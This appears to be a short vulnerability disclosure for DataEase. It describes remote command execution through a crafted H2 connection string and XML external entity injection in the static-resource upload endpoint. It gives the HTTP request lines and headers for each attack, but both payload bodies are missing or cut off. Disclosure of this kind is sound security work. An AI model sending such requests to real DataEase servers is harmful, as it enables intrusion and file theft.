An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. request message: POST /de2api/datasource/validate HTTP/1.1 Host: dataease.ubuntu20.vm User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: / Connection: close X-DE-TOKEN: jwt Content-Length: 209 Content-Type: application/json
There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. send request: POST /de2api/staticResource/upload/1 HTTP/1.1 Host: dataease.ubuntu20.vm Content-Length: 348 Accept: application/json, text/plain, / out_auth_platform: default X-DE-TOKEN: jwt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36 Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary6OZBNygiUCAZEbMn ——WebKitFormBoundary6OZBNygiUCAZEbMn Content-Disposition: form-data; name="file"; filename="1.svg" Content-Type: a <?xml …